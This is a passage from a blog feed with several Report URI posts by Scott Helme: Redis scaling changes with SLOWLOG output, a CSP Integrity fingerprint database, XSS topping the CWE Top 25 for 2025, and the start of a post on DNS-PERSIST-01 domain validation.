                    &#x2514;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2500;&#x2518;</code></pre><p></p><p>Redis only streams certain commands to the replica, those are the commands that change the dataset, so they&apos;re the only ones we need. These commands first flow into the Replication Backlog which is a circular buffer (ring buffer). Image a giant circle with the write commands being written clockwise around that circle and as the process continues, eventually you will just keep looping and overwriting yourself. The replicas are reading out of that buffer trying to keep up with the primary that is writing ahead of them. If the primary is writing faster than the replicas can read, the primary will &apos;overtake&apos; the replicas and then the replicas can no longer read that data from the buffer, requiring a full re-sync from the primary instead.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-6.png" class="kg-image" alt="When &#x201C;One in a Billion&#x201D; Happens Every Day: Scaling Redis at Report URI" loading="lazy" width="1369" height="887" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/image-6.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/03/image-6.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-6.png 1369w" sizes="(min-width: 720px) 720px"></figure><p></p><p>For each write that takes place in the buffer, there is an incrementing id value known as the <code>repl_offset</code>. A replica will keep track of the last id that it read so it can always know where it is up to in the buffer and come back for the next command, or determine if the buffer only contains commands that are too far ahead and it needs a full re-sync. Our default Replication Backlog (<code>repl-backlog-size</code>) was 64mb, which had been working well, but at the kind of throughputs we were now achieving on the cache, that gives us 4-5 seconds worth of history in the buffer. This means that if a replica loses contact for more than 5 seconds, when it comes back and tries to &apos;catch up&apos; using the Replication Backlog, it can&apos;t, and requests a full re-sync from the primary. Increasing the memory resources on our servers and bumping the <code>repl-backlog-size</code> to 2GB gave us considerably more overhead and our Replication Backlog now means that a replica can be taken out of service for updates and a reboot, whilst still making it back in time to catch up using the Replication Backlog. This allows us to avoid the need for full resyncs and massively improves the efficiency of the failover process.</p><p></p><h4 id="persisting-connections-to-save-on-overheads">Persisting connections to save on overheads</h4><p>Our ingestion servers can be processing thousands of telemetry events per second and after processing, the first place they land is in the Redis cache. This means that our ingestion servers, along with our sentinels and other servers, can be making thousands of connections per second to Redis. Here is a quiet time of day when we&apos;re handling almost 1,500 connections/second to Redis.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-7.png" class="kg-image" alt="When &#x201C;One in a Billion&#x201D; Happens Every Day: Scaling Redis at Report URI" loading="lazy" width="1103" height="555" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/image-7.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/03/image-7.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-7.png 1103w" sizes="(min-width: 720px) 720px"></figure><p></p><p>That&apos;s a lot of overhead in creating and destroying so many connections, but this is the result of using <code>connect()</code> in <code>phpredis</code>. Each connection only exists for the duration of the current request because the socket is tied to the request and will be closed when the request ends. The connection will then be fired up again in, most likely, just a few milliseconds when the next request arrives...</p><p>Switching to <code>pconnect()</code> seems like an obvious win here, but it does require some careful consideration. Instead of the socket being tied to the request, it would now be held by the PHP-FPM worker process, allowing for a much longer life and, importantly, re-use across many requests. This is great, because we avoid all of the overheads of setting up and tearing down the connection on each request, but, we&apos;re now going to have sockets held open for much longer, which means more connections open at any given time. This would most likely be an issue on the primary Redis server which will have connections held open from our ingestion servers, consumer servers, the sentinels, the replica, and so on. Would it be able to sustain so many long-lived connections? We ran the maths on this, allowed for a lot of error, and decided that our Redis server was capable of handling it, so we deployed the change.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-8.png" class="kg-image" alt="When &#x201C;One in a Billion&#x201D; Happens Every Day: Scaling Redis at Report URI" loading="lazy" width="1103" height="552" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/image-8.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2026/03/image-8.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-8.png 1103w" sizes="(min-width: 720px) 720px"></figure><p></p><p>Almost immediately the number of new connections being made to Redis plummeted and the number of clients connected skyrocketed. Because a typical PHP-FPM worker can process 3,600 inbound requests (<code>pm.max_requests = 3600</code>) we&apos;re saving 3,599 connections to Redis for every 3,600 inbound telemetry events that we process, which is quite the significant saving! This also reduced the processing time of each request on our ingestion servers because the Redis connection is most likely already setup and waiting, so we&apos;re saving that overhead on each request too. The final consideration was then that a process could connect to the primary, and a failover could happen after the connection was established, meaning you&apos;re now connected to the replica. In this case you will get a <code>READONLY</code> exception if you try to write or change data and simply need to hit the Sentinels again to reconnect to the new primary and retry the same request again.</p><p></p><h4 id="avoiding-large-reads-that-take-too-long">Avoiding large reads that take too long</h4><p>As Redis is single-threaded, at least on the main command processing pathway, having any single operation that keeps that thread busy for prolonged periods of time is a Very Bad Idea (TM). Our Sentinels will determine if the primary Redis cache is available by sending requests and waiting for an answer, but if you can keep Redis busy for too long, the Sentinels can determine it&apos;s not available and trigger a failover. We saw some failovers that seemed to have no explanation in terms of the cache being unavailable, yet they happened anyway. In the end we turned to <code>SLOWLOG</code> to see if we could explain what might make Redis look like it wasn&apos;t available, and we found the culprit.</p><p>In our telemetry processing pipeline, all events pass through Redis and are gathered in a hash, ready for a consumer to come along and pull a batch of events to process them into the database (Azure Table Storage). To do this, these consumer servers will call <code>hGetAll()</code> to grab the content of the hash and then delete it from Redis, and this is where things were going wrong. </p><p></p><pre><code> 1) 1) (integer) 6436
        2) (integer) 1762833603
        3) (integer) 1049238
        4) 1) &quot;HGETALL&quot;
           2) &quot;TEMP-WIZARD-1969791144&quot;
        5) &quot;snip:34018&quot;
        6) &quot;&quot;
     2) 1) (integer) 6435
        2) (integer) 1762833423
        3) (integer) 1005244
        4) 1) &quot;HGETALL&quot;
           2) &quot;TEMP-WIZARD-533592971&quot;
        5) &quot;snip:54284&quot;
        6) &quot;&quot;
     3) 1) (integer) 6434
        2) (integer) 1762833063
        3) (integer) 1072218
        4) 1) &quot;HGETALL&quot;
           2) &quot;TEMP-WIZARD-383568749&quot;
        5) &quot;snip:47118&quot;
        6) &quot;&quot;
     4) 1) (integer) 6433
        2) (integer) 1762833003
        3) (integer) 1073379
        4) 1) &quot;HGETALL&quot;
           2) &quot;TEMP-WIZARD-1518767320&quot;
        5) &quot;snip:36282&quot;
        6) &quot;&quot;
     5) 1) (integer) 6432
        2) (integer) 1762832822
        3) (integer) 1002085
        4) 1) &quot;HGETALL&quot;
           2) &quot;TEMP-WIZARD-367184566&quot;
        5) &quot;snip:60828&quot;
        6) &quot;&quot;</code></pre><p></p><p>There&apos;s a <code>hGetAll()</code> call in there that took 1,073,379&#x3BC;s, which is almost 1.1 seconds, to complete! These <code>SLOWLOG</code> entries were also taken during a relatively quiet period for us and, given our consumer servers pull on a regular cadence, a high volume of inbound telemetry would mean more data to fetch in the <code>hGetAll()</code> and a longer time to complete as a result.</p><p>To remove this long blocking call we migrated from <code>hGetAll()</code> to <code>hScan()</code> instead, and using a <code>Generator</code> in PHP we can now progressively read back the content of the hash allowing for other commands to run between <code>hScan()</code> calls. We&apos;re currently capping the length of a <code>hScan()</code> call to ~500,000&#x3BC;s (500ms) so that we&apos;re never keeping the main process busy for too long.</p><p></p><pre><code> 1) 1) (integer) 5957
        2) (integer) 1763047503
        3) (integer) 599277
        4) 1) &quot;HSCAN&quot;
           2) &quot;TEMP-MEGA-775261748&quot;
           3) &quot;0&quot;
           4) &quot;COUNT&quot;
           5) &quot;100000&quot;
        5) &quot;snip:52516&quot;
        6) &quot;&quot;
     2) 1) (integer) 5956
        2) (integer) 1763047382
        3) (integer) 575907
        4) 1) &quot;HSCAN&quot;
           2) &quot;TEMP-MEGA-991577969&quot;
           3) &quot;0&quot;
           4) &quot;COUNT&quot;
           5) &quot;100000&quot;
        5) &quot;snip:42706&quot;
        6) &quot;&quot;
     3) 1) (integer) 5955
        2) (integer) 1763047321
        3) (integer) 546641
        4) 1) &quot;HSCAN&quot;
           2) &quot;TEMP-MEGA-1663792648&quot;
           3) &quot;0&quot;
           4) &quot;COUNT&quot;
           5) &quot;100000&quot;
        5) &quot;snip:39818&quot;
        6) &quot;&quot;
     4) 1) (integer) 5954
        2) (integer) 1763047262
        3) (integer) 563350
        4) 1) &quot;HSCAN&quot;
           2) &quot;TEMP-MEGA-903905420&quot;
           3) &quot;0&quot;
           4) &quot;COUNT&quot;
           5) &quot;100000&quot;
        5) &quot;snip:50746&quot;
        6) &quot;&quot;
     5) 1) (integer) 5953
        2) (integer) 1763047201
        3) (integer) 609534
        4) 1) &quot;HSCAN&quot;
           2) &quot;TEMP-MEGA-1690091359&quot;
           3) &quot;0&quot;
           4) &quot;COUNT&quot;
           5) &quot;100000&quot;
        5) &quot;snip:49308&quot;
        6) &quot;&quot;</code></pre><p></p><p>This also made our Redis resource graphs much more smooth by removing some of the huge peaks caused by these reads and also stopped other clients stalling out for brief periods when the main thread was busy. Overall, a nice improvement.</p><p></p><h4 id="add-more-cloud">Add more cloud</h4><p>You can solve a lot of problems by throwing more money at them, but we tend to hold out and only use this as a last resort when it&apos;s the proper solution to a problem. The Redis caches that handle our inbound telemetry are doing a lot of work for us, and despite all of our optimisations, we arrived at the conclusion that they needed more resources. The Sentinel servers have been doing awesome and will probably be able to cope for the foreseeable future, especially after the <code>pconnect()</code> upgrade significantly reduced the load on them, but our main caches did get an upgrade.</p><p></p><pre><code>redis-report-cache-primary
    in Report URI / 16 GB Memory / 4 Intel vCPUs / 160 GB Disk / SFO2 - Ubuntu 24.04 (LTS) x64
    tags: redis-report
    
    redis-report-cache-replica
    in Report URI / 16 GB Memory / 4 Intel vCPUs / 160 GB Disk / SFO2 - Ubuntu 24.04 (LTS) x64
    tags: redis-report
    
    redis-report-cache-sentinel-01
    in Report URI / 2 GB Memory / 60 GB Disk / SFO2 - Ubuntu 24.04 (LTS) x64
    tags: redis-report
    
    redis-report-cache-sentinel-02
    in Report URI / 2 GB Memory / 60 GB Disk / SFO2 - Ubuntu 24.04 (LTS) x64
    tags: redis-report
    
    redis-report-cache-sentinel-03
    in Report URI / 2 GB Memory / 60 GB Disk / SFO2 - Ubuntu 24.04 (LTS) x64
    tags: redis-report
    
    redis-report-cache-sentinel-04
    in Report URI / 2 GB Memory / 60 GB Disk / SFO2 - Ubuntu 24.04 (LTS) x64
    tags: redis-report</code></pre><p></p><p>Thanks to the High Availability deployment with Sentinel, this was a simple case of pulling the replica down, upgrading the server, and bringing it back online. Once the replica had fully caught up, we triggered a failover so the upgraded replica became the primary, and then we could pull down the other server which was now acting as the replica for its upgrades. Nice and easy! This upgrade didn&apos;t add a huge amount of cost, but it has added a huge amount of headroom when it comes to the capability of the servers, giving us some breathing room well into the future.</p><p></p><h4 id="future-ideas">Future ideas</h4><p>We&apos;ve considering pushing read traffic against the Redis replica before now, but there are a few scenarios where this isn&apos;t going to work particularly well for us. The main problem is that we have a volatile dataset of inbound telemetry that is undergoing significant write velocity, so reading from that needs to be done carefully. We also use Redis for various atomic write-locks in several code paths so we need the read-after-write consistency that we&apos;d lose during the sync to the replica. For now, our optimisations seem to be providing significant benefits and our infrastructure looks like it can handle a lot more before we need to consider further changes or upgrades. If you have any other suggestions on how can improve or anything worth tweaking that might help us, please feel free to drop them in the comments below!</p><p></p>]]></content:encoded></item><item><title><![CDATA[Leverage our treasure trove of Threat Intelligence data]]></title><description><![CDATA[<p>We&apos;ve been working on <a href="https://report-uri.com/products/csp_integrity?ref=scotthelme.ghost.io" rel="noreferrer">CSP Integrity</a> for a little while now, and it was only announced in open beta back in September. Since then, as more of our customers start to use it, we&apos;ve continued to improve it and observe the potentially huge benefits. </p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/logo.png" class="kg-image" alt loading="lazy" width="1712" height="219" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2025/12/logo.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2025/12/logo.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2025/12/logo.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/logo.png 1712w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h4 id="csp-integrity">CSP Integrity</h4>]]></description><link>https://scotthelme.ghost.io/leverage-our-treasure-trove-of-threat-intelligence-data/</link><guid isPermaLink="false">692d6a29560c590001f2be83</guid><category><![CDATA[Report URI]]></category><category><![CDATA[Threat Intelligence]]></category><category><![CDATA[CSP Integrity]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Wed, 18 Mar 2026 16:15:32 GMT</pubDate><media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/threat-intel-treasure-trove.webp" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/threat-intel-treasure-trove.webp" alt="Leverage our treasure trove of Threat Intelligence data"><p>We&apos;ve been working on <a href="https://report-uri.com/products/csp_integrity?ref=scotthelme.ghost.io" rel="noreferrer">CSP Integrity</a> for a little while now, and it was only announced in open beta back in September. Since then, as more of our customers start to use it, we&apos;ve continued to improve it and observe the potentially huge benefits. </p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/logo.png" class="kg-image" alt="Leverage our treasure trove of Threat Intelligence data" loading="lazy" width="1712" height="219" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2025/12/logo.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1000/2025/12/logo.png 1000w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w1600/2025/12/logo.png 1600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/logo.png 1712w" sizes="(min-width: 720px) 720px"></a></figure><p></p><h4 id="csp-integrity">CSP Integrity</h4><p>You can read the full post on <a href="https://scotthelme.co.uk/capture-javascript-integrity-metadata-using-csp/?ref=scotthelme.ghost.io">CSP Integrity</a> and how it works, but here&apos;s a quick TLDR. You can now leverage a native feature in modern browsers to have the browser send you the cryptographic fingerprint of any JavaScript that is running on your site. Once we receive that data, we can do some pretty amazing things with it, and it opens up a whole new world of possibilities. This is a fundamental shift in browser capabilities and the best part is that if it takes you more than 30 seconds to configure and deploy this, you probably did it wrong! </p><p></p><h4 id="our-fingerprint-database">Our Fingerprint Database</h4><p>Receiving the fingerprint of all scripts that are running is great, but it&apos;s even better to have an enormous database of known fingerprints to check against, and that&apos;s something we&apos;ve been working on. Our database only contains the fingerprints of <strong><em>known and verified</em></strong> files, and that verification was done by us. That means if we get a match for the fingerprint provided against our database, we can say with certainty that we know what that file is. </p><p>Our latest data is available to all customers in production right now, so if you&apos;re sending us CSP Integrity data, it&apos;s being cross-checked against our database already. This is the latest output from the process that generates our data after passing over the terabytes of JavaScript we already have:</p><p>&#x2B50; Produced sha256 hashes:11,276,852<br>&#x2B50; Produced sha384 hashes:11,276,852<br>&#x2B50; Produced sha512 hashes:11,276,852<br>&#x1F4E6; <strong>33,830,556 total fingerprints</strong></p><p></p><p>If you&apos;re using common libraries or files right now, we can start to identify and tag them in our UI with information on the source of that file, and having the ability to do this across literally <em>millions</em> of files really has an impact.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/image-7.png" class="kg-image" alt="Leverage our treasure trove of Threat Intelligence data" loading="lazy" width="525" height="97"></figure><p></p><p>On top of this new capability, we of course still have all of our existing Threat Intelligence capabilities too, which leverage our own feeds of data, and external feeds from industry, to identify known bad domains and files, suspicious activity, known IoC (Indicator of Compromise) and much more.</p><p></p><h4 id="vulnerability-mapping">Vulnerability mapping</h4><p>When we&apos;re observing the use of thousands of different JavaScript libraries by our customers, it&apos;s obvious that some of those libraries are going to contain security vulnerabilities. Because we can identify individual files based on their fingerprint, and then map that back to which version of which library is being used, we can then gather data on any vulnerabilities that impact our customers and let them know!</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2025/12/image-6.png" class="kg-image" alt="Leverage our treasure trove of Threat Intelligence data" loading="lazy" width="527" height="223"></figure><p></p><p>We&apos;re currently tracking <em>hundreds </em>of unique vulnerabilities across all of our verified libraries that impact literally <em>thousands</em> of files, so you can rest assured that if you&apos;re using any kind of popular library that has a know problem, we&apos;re going to detect it. </p><p></p><h4 id="threat-intelligence">Threat Intelligence</h4><p>We now regularly collect data from almost 250,000,000 unique browsers per month, that&apos;s a <strong><em>quarter of a billion browsers </em></strong>sending us data on what they&apos;re seeing on the Web. With our birds-eye view of so much activity, we can infer a lot from the data that we gather, far beyond the value that this provides to any individual customer. For example, a very simple metric that we use regularly is &quot;For the tens of thousands of sites that use our service, have any of them ever loaded this JavaScript before?&quot;. For the answer to that question to have value, the number of sites we&apos;re protecting has to be large enough to matter, but as we continue to grow, the answer to that question is meaningful. Knowing if you&apos;re the only site in the World loading some specific JavaScript, or you&apos;re one of thousands, is a great insight to have. There are a whole variety of seemingly simple metrics like this that are incredibly valuable and we are now in a position to start leaning on this data to better protect our customers. </p><p>On top of this, we also ingest various industry feeds of Threat Intelligence data to enrich our own. Just because we haven&apos;t seen a URL behave in a malicious way just yet, it doesn&apos;t mean that someone else hasn&apos;t. By feeding in Domain Reputation Data, Malware Feeds, Phishing Campaigns, IP Reputation and more, we can look at what JavaScript you&apos;re loading and make a determination on how likely it is to be trustworthy or not.</p><p></p><h4 id="more-to-come">More to come!</h4><p>As always, we&apos;re continually working to improve our product to better serve our customers. If you have any feature ideas or suggestions, please do feel free to reach out to me, and keep an eye out for some of the exciting announcements coming in H1 2026!</p><p></p>]]></content:encoded></item><item><title><![CDATA[XSS Ranked #1 Top Threat of 2025 by MITRE and CISA]]></title><description><![CDATA[<p>Look who&apos;s back! After we completed 2024, XSS managed to get itself ranked as the #1 top threat of the year. I <a href="https://scotthelme.co.uk/xss-ranked-1-top-threat-of-2024-by-mitre-and-cisa/?ref=scotthelme.ghost.io" rel="noreferrer">wrote about that</a>, and at the end of the blog post I said &quot;<em>Let&apos;s make sure that XSS isn&apos;t #1 in</em></p>]]></description><link>https://scotthelme.ghost.io/xss-ranked-1-top-threat-of-2025-by-mitre-and-cisa/</link><guid isPermaLink="false">69af02a1fedfb90001b38825</guid><category><![CDATA[XSS]]></category><category><![CDATA[Report URI]]></category><category><![CDATA[CSP]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Tue, 10 Mar 2026 14:21:27 GMT</pubDate><media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/mitre-cisa.png" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/mitre-cisa.png" alt="XSS Ranked #1 Top Threat of 2025 by MITRE and CISA"><p>Look who&apos;s back! After we completed 2024, XSS managed to get itself ranked as the #1 top threat of the year. I <a href="https://scotthelme.co.uk/xss-ranked-1-top-threat-of-2024-by-mitre-and-cisa/?ref=scotthelme.ghost.io" rel="noreferrer">wrote about that</a>, and at the end of the blog post I said &quot;<em>Let&apos;s make sure that XSS isn&apos;t #1 in 2025!</em>&quot;... Well, I have some bad news...</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image.png" class="kg-image" alt="XSS Ranked #1 Top Threat of 2025 by MITRE and CISA" loading="lazy" width="820" height="425" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/image.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image.png 820w" sizes="(min-width: 720px) 720px"></figure><p></p><h4 id="looking-at-the-data">Looking at the data</h4><p>I wrote a whole bunch in that <a href="https://scotthelme.co.uk/xss-ranked-1-top-threat-of-2024-by-mitre-and-cisa/?ref=scotthelme.ghost.io" rel="noreferrer">previous blog post</a> about what the CVE program is and what CWE means, so if you want the background, you should definitely head there and read that post first. Here, I want to take a look at the data and see how things are going. Looking at the <a href="https://cwe.mitre.org/top25/archive/2025/2025_cwe_top25.html?ref=scotthelme.ghost.io#top25list" rel="noreferrer">list</a> of the Top 25 threat in 2025, and then downloading all of the <a href="https://www.cve.org/downloads?utm_source=scotthelme.co.uk" rel="noreferrer">raw data</a>, we can produce some details on the top threats. </p><p></p><table>
    <thead>
    <tr>
    <th>CWE ID</th>
    <th style="text-align:right">Vulnerabilities Caused</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td>CWE-79</td>
    <td style="text-align:right">7,303</td>
    </tr>
    <tr>
    <td>CWE-89</td>
    <td style="text-align:right">3,758</td>
    </tr>
    <tr>
    <td>CWE-862</td>
    <td style="text-align:right">2,190</td>
    </tr>
    <tr>
    <td>CWE-352</td>
    <td style="text-align:right">1,682</td>
    </tr>
    <tr>
    <td>CWE-22</td>
    <td style="text-align:right">967</td>
    </tr>
    <tr>
    <td>CWE-121</td>
    <td style="text-align:right">827</td>
    </tr>
    <tr>
    <td>CWE-284</td>
    <td style="text-align:right">796</td>
    </tr>
    <tr>
    <td>CWE-78</td>
    <td style="text-align:right">748</td>
    </tr>
    <tr>
    <td>CWE-434</td>
    <td style="text-align:right">744</td>
    </tr>
    <tr>
    <td>CWE-120</td>
    <td style="text-align:right">732</td>
    </tr>
    <tr>
    <td>CWE-200</td>
    <td style="text-align:right">703</td>
    </tr>
    <tr>
    <td>CWE-125</td>
    <td style="text-align:right">653</td>
    </tr>
    <tr>
    <td>CWE-416</td>
    <td style="text-align:right">642</td>
    </tr>
    <tr>
    <td>CWE-502</td>
    <td style="text-align:right">619</td>
    </tr>
    <tr>
    <td>CWE-77</td>
    <td style="text-align:right">550</td>
    </tr>
    <tr>
    <td>CWE-20</td>
    <td style="text-align:right">516</td>
    </tr>
    <tr>
    <td>CWE-122</td>
    <td style="text-align:right">513</td>
    </tr>
    <tr>
    <td>CWE-787</td>
    <td style="text-align:right">500</td>
    </tr>
    <tr>
    <td>CWE-918</td>
    <td style="text-align:right">483</td>
    </tr>
    <tr>
    <td>CWE-476</td>
    <td style="text-align:right">478</td>
    </tr>
    <tr>
    <td>CWE-94</td>
    <td style="text-align:right">468</td>
    </tr>
    <tr>
    <td>CWE-863</td>
    <td style="text-align:right">409</td>
    </tr>
    <tr>
    <td>CWE-639</td>
    <td style="text-align:right">362</td>
    </tr>
    <tr>
    <td>CWE-306</td>
    <td style="text-align:right">356</td>
    </tr>
    <tr>
    <td>CWE-770</td>
    <td style="text-align:right">317</td>
    </tr>
    <tr>
    <td><strong>Total</strong></td>
    <td style="text-align:right"><strong>43,473</strong></td>
    </tr>
    </tbody>
    </table>
    <p></p><p>Sadly, as we can see, we still have quite a lot of work to do on this front as XSS (CWE-79) continues to absolutely dominate the rankings! Not only was it the top threat, nothing else even came close.</p><p></p><figure class="kg-card kg-image-card"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-1.png" class="kg-image" alt="XSS Ranked #1 Top Threat of 2025 by MITRE and CISA" loading="lazy" width="1000" height="530" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/image-1.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/image-1.png 1000w" sizes="(min-width: 720px) 720px"></figure><p></p><h4 id="looking-further-back">Looking further back</h4><p>Given that the entire archive of the Top 25 is <a href="https://cwe.mitre.org/top25/archive/?ref=scotthelme.ghost.io" rel="noreferrer">available</a>, I thought I&apos;d take a look at how XSS performed over all the years we have data, back as far as 2010(!), and it&apos;s not filling me with confidence.</p><p></p><table>
    <thead>
    <tr>
    <th>Year</th>
    <th style="text-align:right">XSS Rank</th>
    </tr>
    </thead>
    <tbody>
    <tr>
    <td>2026</td>
    <td style="text-align:right">#1 (so far!)</td>
    </tr>
    <tr>
    <td>2025</td>
    <td style="text-align:right">#1</td>
    </tr>
    <tr>
    <td>2024</td>
    <td style="text-align:right">#1</td>
    </tr>
    <tr>
    <td>2023</td>
    <td style="text-align:right">#2</td>
    </tr>
    <tr>
    <td>2022</td>
    <td style="text-align:right">#2</td>
    </tr>
    <tr>
    <td>2021</td>
    <td style="text-align:right">#2</td>
    </tr>
    <tr>
    <td>2020</td>
    <td style="text-align:right">#1</td>
    </tr>
    <tr>
    <td>2019</td>
    <td style="text-align:right">#2</td>
    </tr>
    <tr>
    <td>2011</td>
    <td style="text-align:right">#4</td>
    </tr>
    <tr>
    <td>2010</td>
    <td style="text-align:right">#1</td>
    </tr>
    </tbody>
    </table>
    <p></p><p>As far back as the data goes, we have seen that XSS is consistently a top ranked threat, never having the left the <strong><em>Top 4</em></strong>!</p><p></p><h4 id="detecting-and-mitigating-xss">Detecting and Mitigating XSS</h4><p>Regular readers will know by now that Content Security Policy provides for an effective mechanism to protect against XSS. Our sole purpose at <a href="https://report-uri.com/?ref=scotthelme.ghost.io" rel="noreferrer">Report URI</a> is to help organisations deploy a strong CSP to their website and to monitor for signs of trouble should they arise. We have a whole heap of resources to get you started, so head on over to start a free trial and reach out if you need any support getting going.</p><p></p><figure class="kg-card kg-image-card"><a href="https://report-uri.com/?ref=scotthelme.ghost.io"><img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/report-uri---wide.png" class="kg-image" alt="XSS Ranked #1 Top Threat of 2025 by MITRE and CISA" loading="lazy" width="974" height="141" srcset="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/size/w600/2026/03/report-uri---wide.png 600w, https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/03/report-uri---wide.png 974w" sizes="(min-width: 720px) 720px"></a></figure><p></p><p>I have my fingers crossed that we might be able to do something to stop XSS becoming the #1 Top Threat of 2026, but given it already has twice the number of vulnerabilities than its closest competitor, we&apos;d best get started on making some progress soon!</p><p></p>]]></content:encoded></item><item><title><![CDATA[DNS-PERSIST-01; Handling Domain Control Validation in a short-lived certificate World]]></title><description><![CDATA[<p>This year, we have a new method for Domain Control Validation arriving called DNS-PERSIST-01. It is quite a fundamental change from how we do DCV now, so let&apos;s take a look at the benefits and the drawbacks.</p><p></p><h4 id="first-a-quick-recap">First, a quick recap</h4><p>When you approach a Certificate Authority, like</p>]]></description><link>https://scotthelme.ghost.io/dns-persist-01-handling-domain-control-validation-in-a-short-lived-certificate-world/</link><guid isPermaLink="false">6960bdfda2de7d0001fa2984</guid><category><![CDATA[DCV]]></category><category><![CDATA[DNS-PERSIST-01]]></category><category><![CDATA[Certificate Authorities]]></category><dc:creator><![CDATA[Scott Helme]]></dc:creator><pubDate>Mon, 09 Feb 2026 17:55:16 GMT</pubDate><media:content url="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/dns-persist-01.webp" medium="image"/><content:encoded><![CDATA[<img src="https://storage.ghost.io/c/ee/88/ee889f88-37ef-43e5-9180-f9b88ee6261d/content/images/2026/01/dns-persist-01.webp" alt="DNS-PERSIST-01; Handling Domain Control Validation in a short-lived certificate World"><p>This year, we have a new method for Domain Control Validation arriving called DNS-PERSIST-01. It is quite a fundamental change from how we do DCV now, so let&apos;s take a look at the benefits and the drawbacks.</p><p></p><h4 id="first-a-quick-recap">First, a quick recap</h4><p>When you approach a Certificate Authority, like Let&apos;s Encrypt, to issue you a certificate, you need to complete DCV. If I go to Let&apos;s Encrypt and say 